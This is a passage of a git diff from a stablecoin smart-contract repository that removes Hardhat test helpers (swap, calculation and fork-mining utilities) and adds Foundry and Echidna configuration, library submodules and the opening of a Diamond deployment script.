6)} - ratio4 :${ethers.utils.formatEther(ratio4)} - ratio4After:${ethers.utils.formatEther(ratio4After)} - balJar:${ethers.utils.formatEther(balJar3)} - balUsdc:${ethers.utils.formatUnits(balUsdc3, 6)} - - `); - // multiply the deposit by the percentage of increase in the ratio - const calculatedWithdrawAmount = amountToDeposit.mul(ratio4).div(ratio1); - expect(balUsdc3).to.equal(calculatedWithdrawAmount); - /* const isPrecise = isAmountEquivalent( - balUsdc3.toString(), - calculatedWithdrawAmount.toString(), - "0.000000000000000001" - ); - expect(isPrecise).to.be.true; - console.log(` - - balUsdc3 : ${balUsdc3.toString()} - calculatedWithdrawAmount:${calculatedWithdrawAmount.toString()} - - - `); */ - /* const secondAccountDAIBalanceAfter = await daiToken.balanceOf( - secondAccountAdr - ); - const secondAccountuADBalanceAfter = await uAD.balanceOf( - secondAccountAdr - ); - expect(secondAccountDAIBalanceAfter).to.equal( - secondAccountDAIBalanceBefore.sub(amountToSwap) - ); - const expectedUAD = uAD2ndBalbeforeSWAP.add(dyUAD); */ - }); - }); -}); diff --git a/packages/contracts/dollar/test/setup.ts b/packages/contracts/dollar/test/setup.ts deleted file mode 100644 index 0494751f2..000000000 --- a/packages/contracts/dollar/test/setup.ts +++ /dev/null @@ -1,9 +0,0 @@ -import { expect, use } from "chai"; -import { waffle } from "hardhat"; - -const { solidity } = waffle; -use(solidity); - -const { provider } = waffle; - -export { expect, provider }; diff --git a/packages/contracts/dollar/test/usdDepositerABI.json b/packages/contracts/dollar/test/usdDepositerABI.json deleted file mode 100644 index 21728cda3..000000000 --- a/packages/contracts/dollar/test/usdDepositerABI.json +++ /dev/null @@ -1,124 +0,0 @@ -[ - { - "outputs": [], - "inputs": [], - "stateMutability": "nonpayable", - "type": "constructor" - }, - { - "name": "add_liquidity", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [ - { "type": "address", "name": "_pool" }, - { "type": "uint256[4]", "name": "_deposit_amounts" }, - { "type": "uint256", "name": "_min_mint_amount" } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "name": "add_liquidity", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [ - { "type": "address", "name": "_pool" }, - { "type": "uint256[4]", "name": "_deposit_amounts" }, - { "type": "uint256", "name": "_min_mint_amount" }, - { "type": "address", "name": "_receiver" } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "name": "remove_liquidity", - "outputs": [{ "type": "uint256[4]", "name": "" }], - "inputs": [ - { "type": "address", "name": "_pool" }, - { "type": "uint256", "name": "_burn_amount" }, - { "type": "uint256[4]", "name": "_min_amounts" } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "name": "remove_liquidity", - "outputs": [{ "type": "uint256[4]", "name": "" }], - "inputs": [ - { "type": "address", "name": "_pool" }, - { "type": "uint256", "name": "_burn_amount" }, - { "type": "uint256[4]", "name": "_min_amounts" }, - { "type": "address", "name": "_receiver" } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "name": "remove_liquidity_one_coin", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [ - { "type": "address", "name": "_pool" }, - { "type": "uint256", "name": "_burn_amount" }, - { "type": "int128", "name": "i" }, - { "type": "uint256", "name": "_min_amount" } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "name": "remove_liquidity_one_coin", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [ - { "type": "address", "name": "_pool" }, - { "type": "uint256", "name": "_burn_amount" }, - { "type": "int128", "name": "i" }, - { "type": "uint256", "name": "_min_amount" }, - { "type": "address", "name": "_receiver" } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "name": "remove_liquidity_imbalance", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [ - { "type": "address", "name": "_pool" }, - { "type": "uint256[4]", "name": "_amounts" }, - { "type": "uint256", "name": "_max_burn_amount" } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "name": "remove_liquidity_imbalance", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [ - { "type": "address", "name": "_pool" }, - { "type": "uint256[4]", "name": "_amounts" }, - { "type": "uint256", "name": "_max_burn_amount" }, - { "type": "address", "name": "_receiver" } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "name": "calc_withdraw_one_coin", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [ - { "type": "address", "name": "_pool" }, - { "type": "uint256", "name": "_token_amount" }, - { "type": "int128", "name": "i" } - ], - "stateMutability": "view", - "type": "function" - }, - { - "name": "calc_token_amount", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [ - { "type": "address", "name": "_pool" }, - { "type": "uint256[4]", "name": "_amounts" }, - { "type": "bool", "name": "_is_deposit" } - ], - "stateMutability": "view", - "type": "function" - } -] diff --git a/packages/contracts/dollar/test/utils/calc.ts b/packages/contracts/dollar/test/utils/calc.ts deleted file mode 100644 index dbd710ec1..000000000 --- a/packages/contracts/dollar/test/utils/calc.ts +++ /dev/null @@ -1,100 +0,0 @@ -import { BigNumber } from "ethers"; -import { ethers } from "hardhat"; -import { Big, RoundingMode } from "big.js"; - -// to have decent precision -Big.DP = 35; -// to avoid exponential notation -Big.PE = 105; -Big.NE = -35; - -// returns (twapPrice - 1) * uADTotalSupply -export function calcDollarsToMint(uADTotalSupply: string, twapPrice: string): BigNumber { - const uADSupply = new Big(uADTotalSupply); - const price = new Big(twapPrice); - const one = new Big(ethers.utils.parseEther("1").toString()); - return BigNumber.from(price.sub(one).mul(uADSupply.div(one)).round(0, RoundingMode.RoundDown).toString()); -} - -// returns multiplier * ( 1.05 / (1 + abs( 1 - price ) ) ) -export function calculateUGOVMultiplier(multiplier: string, price: string): BigNumber { - // should be in wei - const onez5 = new Big(ethers.utils.parseEther("1.05").toString()); - const one = new Big(ethers.utils.parseEther("1").toString()); - - const mult = new Big(multiplier); - const p = new Big(price); - const priceDiff = one.sub(p).abs(); - - return BigNumber.from( - mult - .mul(onez5.div(one.add(priceDiff))) - .round(0, RoundingMode.RoundDown) - .toString() - ); -} - -// returns amount + (1- TWAP_Price)%. -export function calculateIncentiveAmount(amountInWEI: string, curPriceInWEI: string): BigNumber { - // should be in ETH - const one = new Big(ethers.utils.parseEther("1").toString()); - const amount = new Big(amountInWEI); - // returns amount + (1- TWAP_Price)%. - return BigNumber.from(one.sub(curPriceInWEI).mul(amount.div(one)).round(0, RoundingMode.RoundDown).toString()); -} - -// returns true if amountA - AmountB < precision. precision is in decimal -export function isAmountEquivalent(amountA: string, amountB: string, precision?: string): boolean { - const a = new Big(amountA); - const b = new Big(amountB); - const delta = new Big(precision || "0.0000000000000000000000000000000001"); - - const diff = a.gt(b) ? a.div(b).sub(1) : b.div(a).sub(1); - // assert expected presision - return diff.lte(delta); -} - -// returns shares / totalShares * totalToken (in wei) -export function calcShareInToken(totalShares: string, shares: string, totalToken: string): BigNumber { - // calculate shares / totalShares * totalToken - const totShares = new Big(totalShares); - const userShares = new Big(shares); - const totToken = new Big(totalToken); - - return BigNumber.from(userShares.div(totShares).mul(totToken).round(0, RoundingMode.RoundDown).toString()); -} - -// returns amount * percentage (in wei) -export function calcPercentage(amount: string, percentage: string): BigNumber { - // calculate amount * percentage - const value = new Big(amount); - const one = new Big(ethers.utils.parseEther("1").toString()); - const percent = new Big(percentage).div(one); - return BigNumber.from(value.mul(percent).round(0, RoundingMode.RoundDown).toString()); -} - -// returns amount * 1 / (1-debt/totalsupply)² -export function calcPremium(amount: string, uADTotalSupply: string, totalDebt: string): BigNumber { - const one = new Big(1); - const uADTotSupply = new Big(uADTotalSupply); - const TotDebt = new Big(totalDebt); - const amountToPremium = new Big(amount); - // premium = amount * 1 / (1-debt/totalsupply)² - const prem = amountToPremium.mul(one.div(one.sub(TotDebt.div(uADTotSupply)).pow(2))); - return BigNumber.from(prem.round(0, RoundingMode.RoundDown).toString()); -} - -// returns amount * (blockHeightDebt/currentBlockHeight)^coef -export function calcUARforDollar(amount: string, blockHeightDebt: string, currentBlockHeight: string, coefficient: string): BigNumber { - const one = new Big(ethers.utils.parseEther("1").toString()); - const tmpCoef = new Big(coefficient); - const coef = tmpCoef.div(one); - const blockNum = new Big(currentBlockHeight); - const debtHeight = new Big(blockHeightDebt); - const amounInETH = new Big(ethers.utils.formatEther(amount)); - // uAR amount = UAD amount * (blockHeightDebt/currentBlockHeight)^coef - const res = amounInETH.toNumber() * (debtHeight.toNumber() / blockNum.toNumber()) ** coef.toNumber(); - let resBig = new Big(res); - resBig = resBig.mul(one); - return BigNumber.from(resBig.round(0, RoundingMode.RoundDown).toString()); -} diff --git a/packages/contracts/dollar/test/utils/hardhatNode.ts b/packages/contracts/dollar/test/utils/hardhatNode.ts deleted file mode 100644 index 608e3492b..000000000 --- a/packages/contracts/dollar/test/utils/hardhatNode.ts +++ /dev/null @@ -1,96 +0,0 @@ -import { ContractTransaction, Signer } from "ethers"; -import { network, getNamedAccounts, ethers } from "hardhat"; -import { TransactionReceipt } from "@ethersproject/abstract-provider"; - -export async function passOneHour(): Promise { - await network.provider.request({ - method: "evm_increaseTime", - params: [3600], - }); -} - -export async function mineBlock(timestamp: number): Promise { - await network.provider.request({ - method: "evm_mine", - params: [timestamp], - }); -} -export async function latestBlockNumber(): Promise<{ - number: number; - timestamp: number; -}> { - const block = await ethers.provider.getBlock("latest"); - return { number: block.number, timestamp: block.timestamp }; -} - -export async function mineTsBlock(ts: number): Promise { - const blockBefore = await ethers.provider.getBlock("latest"); - await mineBlock(blockBefore.timestamp + ts); -} - -export async function getTXReceipt(ct: ContractTransaction): Promise { - const receipt = await ethers.provider.getTransactionReceipt(ct.hash); - return receipt; -} - -export async function mineNBlock(blockCount: number, secondsBetweenBlock?: number): Promise { - const blockBefore = await ethers.provider.getBlock("latest"); - const maxMinedBlockPerBatch = 5000; - let blockToMine = blockCount; - let blockTime = blockBefore.timestamp; - while (blockToMine > maxMinedBlockPerBatch) { - // eslint-disable-next-line @typescript-eslint/no-loop-func - const minings = [...Array(maxMinedBlockPerBatch).keys()].map((_v, i) => { - const newTs = blockTime + i + (secondsBetweenBlock || 1); - return mineBlock(newTs); - }); - // eslint-disable-next-line no-await-in-loop - await Promise.all(minings); - blockToMine -= maxMinedBlockPerBatch; - blockTime = blockTime + maxMinedBlockPerBatch - 1 + maxMinedBlockPerBatch * (secondsBetweenBlock || 1); - } - const minings = [...Array(blockToMine).keys()].map((_v, i) => { - const newTs = blockTime + i + (secondsBetweenBlock || 1); - return mineBlock(newTs); - }); - // eslint-disable-next-line no-await-in-loop - await Promise.all(minings); -} - -export async function impersonate(account: string): Promise { - await network.provider.request({ - method: "hardhat_impersonateAccount", - params: [account], - }); - return ethers.provider.getSigner(account); -} - -export async function getEther(account: string, amount: number): Promise { - if (amount > 0) { - const { whaleAddress } = await getNamedAccounts(); - const whale: Signer = await impersonate(whaleAddress); - await whale.sendTransaction({ - to: account, - value: ethers.BigNumber.from(10).pow(18).mul(amount), - }); - } -} - -export async function impersonateWithEther(account: string, amount: number): Promise { - await getEther(account, amount || 0); - return impersonate(account); -} - -export async function resetFork(blockNumber: number): Promise { - await network.provider.request({ - method: "hardhat_reset", - params: [ - { - forking: { - jsonRpcUrl: `https://eth-mainnet.alchemyapi.io/v2/${process.env.API_KEY_ALCHEMY || ""}`, - blockNumber, - }, - }, - ], - }); -} diff --git a/packages/contracts/dollar/test/utils/logger.ts b/packages/contracts/dollar/test/utils/logger.ts deleted file mode 100644 index 45d7058d1..000000000 --- a/packages/contracts/dollar/test/utils/logger.ts +++ /dev/null @@ -1,5 +0,0 @@ -import { BigNumber, ethers } from "ethers"; - -export default function logETH(bigN: BigNumber, desc?: string): void { - console.log(`-- ${desc ? `${desc}:` : ""}${ethers.utils.formatEther(bigN)}`); -} diff --git a/packages/contracts/dollar/test/utils/swap.ts b/packages/contracts/dollar/test/utils/swap.ts deleted file mode 100644 index 07794bbe2..000000000 --- a/packages/contracts/dollar/test/utils/swap.ts +++ /dev/null @@ -1,54 +0,0 @@ -import { BigNumber, Signer } from "ethers"; -import { ERC20 } from "../../artifacts/types/ERC20"; -import { UbiquityAlgorithmicDollar } from "../../artifacts/types/UbiquityAlgorithmicDollar"; -import { IMetaPool } from "../../artifacts/types/IMetaPool"; - -export async function swap3CRVtoUAD(curveMetaPool: IMetaPool, crvToken: ERC20, amount: BigNumber, signer: Signer): Promise { - const dy3CRVtoUAD = await curveMetaPool["get_dy(int128,int128,uint256)"](1, 0, amount); - const expectedMinUAD = dy3CRVtoUAD.div(100).mul(99); - // signer need to approve metaPool for sending its coin - await crvToken.connect(signer).approve(curveMetaPool.address, 0); - await crvToken.connect(signer).approve(curveMetaPool.address, amount); - // secondAccount swap 3CRV=> x uAD - await curveMetaPool.connect(signer)["exchange(int128,int128,uint256,uint256)"](1, 0, amount, expectedMinUAD); - return dy3CRVtoUAD; -} -export async function swapUADto3CRV(curveMetaPool: IMetaPool, uAD: UbiquityAlgorithmicDollar, amount: BigNumber, signer: Signer): Promise { - const dyuADto3CRV = await curveMetaPool["get_dy(int128,int128,uint256)"](0, 1, amount); - const expectedMin3CRV = dyuADto3CRV.div(100).mul(99); - - // signer need to approve metaPool for sending its coin - await uAD.connect(signer).approve(curveMetaPool.address, amount); - // secondAccount swap 3CRV=> x uAD - await curveMetaPool.connect(signer)["exchange(int128,int128,uint256,uint256)"](0, 1, amount, expectedMin3CRV); - return dyuADto3CRV; -} - -export async function swapDAItoUAD(curveMetaPool: IMetaPool, daiToken: ERC20, amount: BigNumber, signer: Signer): Promise { - const dyDAITouAD = await curveMetaPool["get_dy_underlying(int128,int128,uint256)"](1, 0, amount); - const expectedMinUAD = dyDAITouAD.div(100).mul(99); - - // secondAccount need to approve metaPool for sending its uAD - await daiToken.connect(signer).approve(curveMetaPool.address, amount); - // swap 1 DAI => 1uAD - await curveMetaPool.connect(signer)["exchange_underlying(int128,int128,uint256,uint256)"](1, 0, amount, expectedMinUAD); - return dyDAITouAD; -} - -export async function swapUADtoDAI(curveMetaPool: IMetaPool, uAD: UbiquityAlgorithmicDollar, amount: BigNumber, signer: Signer): Promise { - const dyuADtoDAI = await curveMetaPool["get_dy_underlying(int128,int128,uint256)"](0, 1, amount); - const expectedMinDAI = dyuADtoDAI.div(100).mul(99); - - // secondAccount need to approve metaPool for sending its uAD - await uAD.connect(signer).approve(curveMetaPool.address, amount); - // secondAccount swap 1uAD => 1 DAI - await curveMetaPool.connect(signer)["exchange_underlying(int128,int128,uint256,uint256)"](0, 1, amount, expectedMinDAI); - return dyuADtoDAI; -} - -// swap back and forth small amount to trigger an oracle update -export async function swapToUpdateOracle(curveMetaPool: IMetaPool, crvToken: ERC20, uAD: UbiquityAlgorithmicDollar, signer: Signer): Promise { - await swapUADto3CRV(curveMetaPool, uAD, BigNumber.from("10"), signer); - const amount = await crvToken.balanceOf(await signer.getAddress()); - await swap3CRVtoUAD(curveMetaPool, crvToken, amount, signer); -} diff --git a/packages/contracts/dollar/tsconfig.eslint.json b/packages/contracts/dollar/tsconfig.eslint.json deleted file mode 100644 index 2b0129d8b..000000000 --- a/packages/contracts/dollar/tsconfig.eslint.json +++ /dev/null @@ -1,5 +0,0 @@ -{ - "extends": "./tsconfig.json", - "include": ["**/*", ".eslintrc.js"], - "exclude": ["node_modules", "artifacts", "cache"] -} diff --git a/packages/contracts/dollar/tsconfig.json b/packages/contracts/dollar/tsconfig.json deleted file mode 100644 index 953e866bc..000000000 --- a/packages/contracts/dollar/tsconfig.json +++ /dev/null @@ -1,13 +0,0 @@ -{ - "compilerOptions": { - "target": "ESNext", - "module": "CommonJS", - "strict": true, - "esModuleInterop": true, - "outDir": "dist", - "moduleResolution": "Node", - "resolveJsonModule": true - }, - "include": ["./scripts", "./test", "./deploy", "./utils", "./hardhat-config"], - "files": ["./hardhat.config.ts"] -} diff --git a/packages/contracts/dollar/utils/etherscan.ts b/packages/contracts/dollar/utils/etherscan.ts deleted file mode 100644 index 0e2f63164..000000000 --- a/packages/contracts/dollar/utils/etherscan.ts +++ /dev/null @@ -1,65 +0,0 @@ -const API_URL = "https://api.etherscan.io/api"; - -export type EtherscanResponse = { - status: string; - message: string; - result: T[]; -}; - -export type Transaction = { - isError: "0" | "1"; - input: string; - hash: string; - from: string; - to: string; - blockNumber: string; - contractAddress: string; - timeStamp: string; -}; - -export type TransactionEvent = { - data: string; - transactionHash: string; -}; - -export async function fetchEtherscanApi(query: Record): Promise { - const response = await fetch(`${API_URL}?${new URLSearchParams(query).toString()}`); - return response.json() as Promise; -} - -export async function fetchLatestBlockNumber(): Promise { - console.log("Fetching latest block number..."); - const response = await fetchEtherscanApi<{ result: string }>({ - module: "proxy", - action: "eth_blockNumber", - apiKey: process.env.API_KEY_ETHERSCAN || "", - }); - const latestBlockNumber = parseInt(response.result, 16); - console.log("Latest block number: ", latestBlockNumber); - return latestBlockNumber; -} - -export function generateEtherscanQuery(address: string, startblock: number, endblock: number | string): Record { - return { - module: "account", - action: "txlist", - address, - startblock: startblock.toString(), - endblock: endblock.toString(), - sort: "asc", - apiKey: process.env.API_KEY_ETHERSCAN || "", - }; -} - -export function generateEventLogQuery(address: string, topic0: string, startblock: number, endblock: number | string): Record { - return { - module: "logs", - action: "getLogs", - address, - topic0, - startblock: startblock.toString(), - endblock: endblock.toString(), - sort: "asc", - apiKey: process.env.API_KEY_ETHERSCAN || "", - }; -} diff --git a/packages/contracts/dollar/utils/flow.ts b/packages/contracts/dollar/utils/flow.ts deleted file mode 100644 index 470c367c1..000000000 --- a/packages/contracts/dollar/utils/flow.ts +++ /dev/null @@ -1,11 +0,0 @@ -export default function pressAnyKey(msg = "Press any key to continue"): Promise { - return new Promise((resolve) => { - console.log(msg || "Press any key to continue"); - process.stdin.setRawMode(true); - process.stdin.resume(); - process.stdin.on("data", () => { - // process.stdin.destroy(); - resolve(undefined); - }); - }); -} diff --git a/packages/contracts/echidna.config.yml b/packages/contracts/echidna.config.yml new file mode 100644 index 000000000..2ad6fe27b --- /dev/null +++ b/packages/contracts/echidna.config.yml @@ -0,0 +1,74 @@ +#format can be "text" or "json" for different output (human or machine readable) +format: "text" +#checkAsserts checks assertions +checkAsserts: true +#coverage controls coverage guided testing +coverage: false +# #psender is the sender for property transactions; by default intentionally +# #the same as contract deployer +# psender: "0x00a329c0648769a73afac7f9381e08fb43dbea70" +# #prefix is the prefix for Boolean functions that are properties to be checked +# prefix: "echidna_" +# #propMaxGas defines gas cost at which a property fails +# propMaxGas: 8000030 +# #testMaxGas is a gas limit; does not cause failure, but terminates sequence +# testMaxGas: 8000030 +# #maxGasprice is the maximum gas price +# maxGasprice: 100000000000 +# #testLimit is the number of test sequences to run +# testLimit: 50000 +# #stopOnFail makes echidna terminate as soon as any property fails and has been shrunk +# stopOnFail: false +# #estimateGas makes echidna perform analysis of maximum gas costs for functions (experimental) +# estimateGas: false +# #seqLen defines how many transactions are in a test sequence +# seqLen: 100 +# #shrinkLimit determines how much effort is spent shrinking failing sequences +# shrinkLimit: 5000 +# #contractAddr is the address of the contract itself +# contractAddr: "0x00a329c0648769a73afac7f9381e08fb43dbea72" +# #deployer is address of the contract deployer (who often is privileged owner, etc.) +# deployer: "0x00a329c0648769a73afac7f9381e08fb43dbea70" +# #sender is set of addresses transactions may originate from +# sender: ["0x10000", "0x20000", "0x00a329c0648769a73afac7f9381e08fb43dbea70"] +# #balanceAddr is default balance for addresses +# balanceAddr: 0xffffffff +# #balanceContract overrides balanceAddr for the contract address +# balanceContract: 0 +# #solcArgs allows special args to solc +# solcArgs: "" +# #solcLibs is solc libraries +# solcLibs: [] +# #cryticArgs allows special args to crytic +# cryticArgs: [] +# #quiet produces (much) less verbose output +# quiet: false +# #initialize the blockchain with some data +# initialize: null +# #whether ot not to use the multi-abi mode of testing +# multi-abi: false +# #benchmarkMode enables benchmark mode +# benchmarkMode: false +# #timeout controls test timeout settings +# timeout: null +# #seed not defined by default, is the random seed +# #seed: 0 +# #dictFreq controls how often to use echidna's internal dictionary vs random +# #values +# dictFreq: 0.40 +# maxTimeDelay: 604800 +# #maximum time between generated txs; default is one week +# maxBlockDelay: 60480 +# #maximum number of blocks elapsed between generated txs; default is expected increment in one week +# # timeout: +# #campaign timeout (in seconds) +# # list of methods to filter +# filterFunctions: [] +# # by default, blacklist methods in filterFunctions +# filterBlacklist: true +# #directory to save the corpus; by default is disabled +# corpusDir: null +# # constants for corpus mutations (for experimentation only) +# mutConsts: [100, 1, 1] +# # maximum value to send to payable functions +# maxValue: 100000000000000000000 # 100 eth diff --git a/packages/contracts/foundry.toml b/packages/contracts/foundry.toml new file mode 100644 index 000000000..8b516b440 --- /dev/null +++ b/packages/contracts/foundry.toml @@ -0,0 +1,45 @@ +[profile.default] +src = 'src' +test = 'test' +out = 'out' +libs = ['lib'] +script = 'scripts' +solc_version = '0.8.19' +evm_version = 'shanghai' +extra_output = [ + "abi", + "evm.bytecode", + "evm.deployedBytecode", + "evm.methodIdentifiers", +] +optimizer = true +optimizer_runs = 20_000 +force = false +# See more config options https://github.com/foundry-rs/foundry/tree/master/config + +[rpc_endpoints] +mainnet = "https://rpc.ankr.com/eth" + +[profile.SMT.model_checker] +contracts = { } +engine = 'chc' +solvers = ['z3'] +show_unproved = true +timeout = 0 +targets = [ + 'assert', + 'constantCondition', + 'divByZero', + 'outOfBounds', + 'overflow', + 'popEmptyArray', + 'underflow', + 'balance', +] + +[profile.docs] +src = 'src/dollar' + +[profile.intense.fuzz] +runs = 100000 +max_test_rejects = 900000 diff --git a/packages/contracts/lib/Uniswap/v2-core b/packages/contracts/lib/Uniswap/v2-core new file mode 160000 index 000000000..ee547b178 --- /dev/null +++ b/packages/contracts/lib/Uniswap/v2-core @@ -0,0 +1 @@ +Subproject commit ee547b17853e71ed4e0101ccfd52e70d5acded58 diff --git a/packages/contracts/lib/Uniswap/v2-periphery b/packages/contracts/lib/Uniswap/v2-periphery new file mode 160000 index 000000000..0335e8f7e --- /dev/null +++ b/packages/contracts/lib/Uniswap/v2-periphery @@ -0,0 +1 @@ +Subproject commit 0335e8f7e1bd1e8d8329fd300aea2ef2f36dd19f diff --git a/packages/contracts/lib/Uniswap/v3-periphery b/packages/contracts/lib/Uniswap/v3-periphery new file mode 160000 index 000000000..6cce88e63 --- /dev/null +++ b/packages/contracts/lib/Uniswap/v3-periphery @@ -0,0 +1 @@ +Subproject commit 6cce88e63e176af1ddb6cc56e029110289622317 diff --git a/packages/contracts/lib/abdk-libraries-solidity b/packages/contracts/lib/abdk-libraries-solidity new file mode 160000 index 000000000..5e1e7c11b --- /dev/null +++ b/packages/contracts/lib/abdk-libraries-solidity @@ -0,0 +1 @@ +Subproject commit 5e1e7c11b35f8313d3f7ce11c1b86320d7c0b554 diff --git a/packages/contracts/lib/chainlink-brownie-contracts b/packages/contracts/lib/chainlink-brownie-contracts new file mode 160000 index 000000000..f06ed4c7e --- /dev/null +++ b/packages/contracts/lib/chainlink-brownie-contracts @@ -0,0 +1 @@ +Subproject commit f06ed4c7e43de0359e0e337ce56e55cab90b0178 diff --git a/packages/contracts/lib/forge-std b/packages/contracts/lib/forge-std new file mode 160000 index 000000000..805aa1f43 --- /dev/null +++ b/packages/contracts/lib/forge-std @@ -0,0 +1 @@ +Subproject commit 805aa1f4385905aa25ff9221bd23b67b5da9af0b diff --git a/packages/contracts/lib/openzeppelin-contracts b/packages/contracts/lib/openzeppelin-contracts new file mode 160000 index 000000000..17c1a3a45 --- /dev/null +++ b/packages/contracts/lib/openzeppelin-contracts @@ -0,0 +1 @@ +Subproject commit 17c1a3a4584e2cbbca4131f2f1d16168c92f2310 diff --git a/packages/contracts/lib/openzeppelin-contracts-upgradeable b/packages/contracts/lib/openzeppelin-contracts-upgradeable new file mode 160000 index 000000000..152b82019 --- /dev/null +++ b/packages/contracts/lib/openzeppelin-contracts-upgradeable @@ -0,0 +1 @@ +Subproject commit 152b82019370360578ee273630567bf67b977a40 diff --git a/packages/contracts/lib/operator-filter-registry b/packages/contracts/lib/operator-filter-registry new file mode 160000 index 000000000..21f557c74 --- /dev/null +++ b/packages/contracts/lib/operator-filter-registry @@ -0,0 +1 @@ +Subproject commit 21f557c744c5d93d3dbb8fe7bebd964d5dc76c89 diff --git a/packages/contracts/lib/solidity-linked-list b/packages/contracts/lib/solidity-linked-list new file mode 160000 index 000000000..a34f10a58 --- /dev/null +++ b/packages/contracts/lib/solidity-linked-list @@ -0,0 +1 @@ +Subproject commit a34f10a58e89287317bdb8b485e30a9de146f481 diff --git a/packages/contracts/migrations/development/Deploy001_Diamond_Dollar_Governance.s.sol b/packages/contracts/migrations/development/Deploy001_Diamond_Dollar_Governance.s.sol new file mode 100644 index 000000000..90a770249 --- /dev/null +++ b/packages/contracts/migrations/development/Deploy001_Diamond_Dollar_Governance.s.sol @@ -0,0 +1,650 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import {AggregatorV3Interface} from "@chainlink/interfaces/AggregatorV3Interface.sol"; +import {IERC165} from "@openzeppelin/contracts/interfaces/IERC165.sol"; +import {IERC20} from "@openzeppelin/contracts/interfaces/IERC20.sol"; +import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol"; +import {Script} from "forge-std/Script.sol"; +import {UbiquityAlgorithmicDollarManager} from "../../src/deprecated/UbiquityAlgorithmicDollarManager.sol"; +import {UbiquityGovernance} from "../../src/deprecated/UbiquityGovernance.sol"; +import {Diamond, DiamondArgs} from "../../src/dollar/Diamond.sol"; +import {UbiquityDollarToken} from "../../src/dollar/core/UbiquityDollarToken.sol"; +import {AccessControlFacet} from "../../src/dollar/facets/AccessControlFacet.sol"; +import {DiamondCutFacet} from "../../src/dollar/facets/DiamondCutFacet.sol"; +import {DiamondLoupeFacet} from "../../src/dollar/facets/DiamondLoupeFacet.sol"; +import {ManagerFacet} from "../../src/dollar/facets/ManagerFacet.sol"; +import {OwnershipFacet} from "../../src/dollar/facets/OwnershipFacet.sol"; +import {UbiquityPoolFacet} from "../../src/dollar/facets/UbiquityPoolFacet.sol"; +import {ICurveStableSwapNG} from "../../src/dollar/interfaces/ICurveStableSwapNG.sol"; +import {ICurveTwocryptoOptimized} from "../../src/dollar/interfaces/ICurveTwocryptoOptimized.sol"; +import {IDiamondCut} from "../../src/dollar/interfaces/IDiamondCut.sol"; +import {IDiamondLoupe} from "../../src/dollar/interfaces/IDiamondLoupe.sol"; +import {IERC173} from "../../src/dollar/interfaces/IERC173.sol"; +import {DEFAULT_ADMIN_ROLE, DOLLAR_TOKEN_MINTER_ROLE, DOLLAR_TOKEN_BURNER_ROLE, GOVERNANCE_TOKEN_MINTER_ROLE, GOVERNANCE_TOKEN_BURNER_ROLE, PAUSER_ROLE} from "../../src/dollar/libraries/Constants.sol"; +import {LibAccessControl} from "../../src/dollar/libraries/LibAccessControl.sol"; +import {AppStorage, LibAppStorage, Modifiers} from "../../src/dollar/libraries/LibAppStorage.sol"; +import {LibDiamond} from "../../src/dollar/libraries/LibDiamond.sol"; +import {MockChainLinkFeed} from "../../src/dollar/mocks/MockChainLinkFeed.sol"; +import {MockCurveStableSwapNG} from "../../src/dollar/mocks/MockCurveStableSwapNG.sol"; +import {MockCurveTwocryptoOptimized} from "../../src/dollar/mocks/MockCurveTwocryptoOptimized.sol"; +import {MockERC20} from "../../src/dollar/mocks/MockERC20.sol"; +import {DiamondTestHelper} from "../../test/helpers/DiamondTestHelper.sol"; + +/** + * @notice It is expected that this contract is customized if you want to deploy your diamond + * with data from a deployment script. Use the init function to initialize state variables + * of your diamond. Add parameters to the init function if you need to. + * + * @notice How it works: + * 1. New `Diamond` contract is created + * 2. Inside the diamond's constructor there is a `delegatecall()` to `DiamondInit` with the provided args + * 3. `DiamondInit` updates diamond storage + */ +contract DiamondInit is Modifiers { + /// @notice Struct used for diamond initialization + struct Args { + address admin; + } + + /** + * @notice Initializes a diamond with state variables + * @dev You can add parameters to this function in order to pass in data to set your own state variables + * @param _args Init args + */ + function init(Args memory _args) external { + // adding ERC165 data + LibDiamond.DiamondStorage storage ds = LibDiamond.diamondStorage(); + ds.supportedInterfaces[type(IERC165).interfaceId] = true; + ds.supportedInterfaces[type(IDiamondCut).interfaceId] = true; + ds.supportedInterfaces[type(IDiamondLoupe).interfaceId] = true; + ds.supportedInterfaces[type(IERC173).interfaceId] = true; + + LibAccessControl.grantRole(DEFAULT_ADMIN_ROLE, _args.admin); + LibAccessControl.grantRole(DOLLAR_TOKEN_MINTER_ROLE, _args.admin); + LibAccessControl.grantRole(DOLLAR_TOKEN_BURNER_ROLE, _args.admin); + LibAccessControl.grantRole(PAUSER_ROLE, _args.admin); + + AppStorage storage appStore = LibAppStorage.appStorage(); + appStore.paused = false; + appStore.treasuryAddress = _args.admin; + + // reentrancy guard + _initReentrancyGuard(); + } +} + +/** + * @notice Migration contract + * @dev Initial production migration includes the following contracts: + * - Dollar token + * - Governance token (already deployed https://etherscan.io/address/0x4e38D89362f7e5db0096CE44ebD021c3962aA9a0) + * - UbiquityPool (which is a facet of the Diamond contract) + * + * So we're deploying only contracts and facets necessary for features + * connected with the contracts above. Hence we omit the following facets + * from deployment: + * - BondingCurveFacet (used for UbiquiStick NFT, "on hold" now) + * - ChefFacet (staking is not a part of the initial deployment) + * - CollectableDustFacet (could be useful but not a must now) + * - CreditClockFacet (used for CreditNft which is not a part of the initial deployment) + * - CreditNftManagerFacet (used for CreditNft which is not a part of the initial deployment) + * - CreditNftRedemptionCalculatorFacet (used for CreditNft which is not a part of the initial deployment) + * - CreditRedemptionCalculatorFacet (used for Credit token which is not a part of the initial deployment) + * - CurveDollarIncentiveFacet (deprecated) + * - DollarMintCalculatorFacet (used for 